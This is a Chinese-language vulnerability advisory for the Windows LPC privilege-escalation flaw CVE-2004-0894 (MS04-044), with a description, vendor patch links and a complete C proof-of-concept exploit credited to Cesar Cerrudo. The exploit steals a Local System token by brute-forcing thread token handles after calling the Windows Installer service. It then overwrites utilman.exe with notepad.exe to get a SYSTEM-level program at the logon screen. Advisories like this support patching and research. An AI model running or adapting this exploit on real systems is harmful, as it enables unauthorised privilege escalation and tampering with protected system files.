发布日期：2004-12-14
更新日期：2004-12-15

受影响系统：

Microsoft Windows XP
Microsoft Windows NT 4.0SP6a
Microsoft Windows 2003
Microsoft Windows 2000SP4
Microsoft Windows 2000SP3

描述：

---

BUGTRAQ  ID: 11914
CVE(CAN) ID: CVE-2004-0894

Microsoft Windows是一款视窗操作系统。

Microsoft Windows LPC机制实现存在问题，本地攻击者可以利用这个漏洞对LPC服务进行基于堆的溢出，精心构建提交数据可提升特权。

LPC(本地过程调用)机制是Windows操作系统使用的一种进程间通信类型，LPC用于同一系统上进程间通信，而RPC用于远程服务器之间的通信。

当客户端进程于使用LPC的服务程序通信时，内核在拷贝客户进程发送的数据时没有正确检查服务进程是否分配足够的内存。未公开化(Native)API用于连接LPC端口的是NtConnectPort，NtConnectPort API的一个参数允许一个260字节的缓冲区，当调用这个函数时内核拷贝客户进程数据到服务进程设置的缓冲区时忽略了缓冲区大小的限制 ，可导致一个基于堆的缓冲区溢出，精心构建提交数据可能以进程权限执行任意指令，提升特权。

<*来源：Cesar Cerrudo （cesarc56@yahoo.com）
  
  链接：http://www.microsoft.com/technet/security/bulletin/MS04-044.mspx
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Cesar Cerrudo （cesarc56@yahoo.com）提供了如下测试方法：

// Impersonation POC Exploit
// Works on Win2k all service packs
// by Cesar Cerrudo  (sqlsec>at<yahoo>dot<com)
// http://www.microsoft.com/technet/security/bulletin/MS04-044.mspx
// (*1*) If it doesn't work try again and research yourself. Don't ask me.

#include "stdafx.h"
#include "windows.h"
#include "stdio.h"


#define INFO_BUFFER_SIZE MAX_COMPUTERNAME_LENGTH + 1
#define PATH_SIZE  INFO_BUFFER_SIZE + MAX_PATH + 4
typedef UINT (WINAPI* PFnMsiInstallProduct)(LPCSTR szPackagePath, LPCSTR szCommandLine);


int main(int argc, char* argv[])
{
    HANDLE hToken,hThread;
    HMODULE hMsi = 0;
    CHAR  infoBuf[INFO_BUFFER_SIZE];
    DWORD  bufCharCount = INFO_BUFFER_SIZE;
    CHAR file1[PATH_SIZE]="\\\\";
    CHAR file2[PATH_SIZE]="\\\\";
    CHAR file3[PATH_SIZE]="\\\\";
    
    //Get name of the computer.
    GetComputerName(infoBuf, &bufCharCount);
    
    hThread=GetCurrentThread();
    hMsi = LoadLibrary("msi.dll");

    //Invoke windows installer service in order to steal a Local System account identity token.
    //Curious? some internal LPC magic here, see *1*
    PFnMsiInstallProduct MsiInstallProduct = 0;
    MsiInstallProduct = (PFnMsiInstallProduct)GetProcAddress(hMsi, "MsiInstallProductA");
    MsiInstallProduct("","");
  
    //Get Local System account identity token and set it to current thread
    hToken=(void*)0x1;
    while(SetThreadToken(&hThread,hToken)==NULL){
        hToken=(void*)((int)hToken+1);
    }

    strcat(file1,infoBuf);
    strcat(file1,"\\C$\\winnt\\system32\\utilman.exe");
    
    strcat(file2,infoBuf);
    strcat(file2,"\\C$\\winnt\\system32\\utilmanback.exe");
    
    strcat(file3,infoBuf);
    strcat(file3,"\\C$\\winnt\\system32\\notepad.exe");

    //Replace Utility Manager with Notepad impersonating Local System account
    //BTW: fuck Windows file protection :)
    if(!CopyFile(file1,file2, TRUE))
        printf("CopyFile() failed: %d\n", GetLastError());
    else
        if(!CopyFile(file3,file1, FALSE))
            printf("CopyFile() failed: %d\n", GetLastError());
        else {
            printf("\nPress WinKey+U to run Notepad as Local System\n");
            printf("Remember to restore original utilman.exe from utilmanback.exe\n");
        }

    Sleep(5000);
    return 0;
}

建议：

---

厂商补丁：

Microsoft
---------
Microsoft已经为此发布了一个安全公告（MS04-044）以及相应补丁:
MS04-044：Vulnerabilities in Windows Kernel and LSASS Could Allow Elevation of Privilege (885835)
链接：http://www.microsoft.com/technet/security/bulletin/MS04-044.mspx

补丁下载：

Microsoft Windows NT Server 4.0 Service Pack 6a

http://www.microsoft.com/downloads/details.aspx?FamilyId=325EAA8F-AF09-4839-B9E8-BB218C7A8564

Microsoft Windows NT Server 4.0 Terminal Server Edition Service Pack 6

http://www.microsoft.com/downloads/details.aspx?FamilyId=9823A61F-C69F-403A-BD6A-EF3984BFA2B8

Microsoft Windows 2000 Service Pack 3 and Microsoft Windows 2000 Service Pack 4

http://www.microsoft.com/downloads/details.aspx?FamilyId=EFDEA122-DDA4-40B8-A7AF-9DDCC3870C38

Microsoft Windows XP Service Pack 1 and Microsoft Windows XP Service Pack 2

http://www.microsoft.com/downloads/details.aspx?FamilyId=27115D5C-3E4A-4F41-B81E-376AA1CD204F

Microsoft Windows XP 64-Bit Edition Service Pack 1

http://www.microsoft.com/downloads/details.aspx?FamilyId=1649AE1E-0ABF-4D31-BE12-3982C5146AE8

Microsoft Windows XP 64-Bit Edition Version 2003

http://www.microsoft.com/downloads/details.aspx?FamilyId=95849AB9-36BF-4A90-BC37-3B4FB6DCDF9A

Microsoft Windows Server 2003

http://www.microsoft.com/downloads/details.aspx?FamilyId=AACB97CB-E8F0-461F-B2D2-F1065229B64E

Microsoft Windows Server 2003 64-Bit Edition

http://www.microsoft.com/downloads/details.aspx?FamilyId=95849AB9-36BF-4A90-BC37-3B4FB6DCDF9A

浏览次数：4812
严重程度：0（网友投票）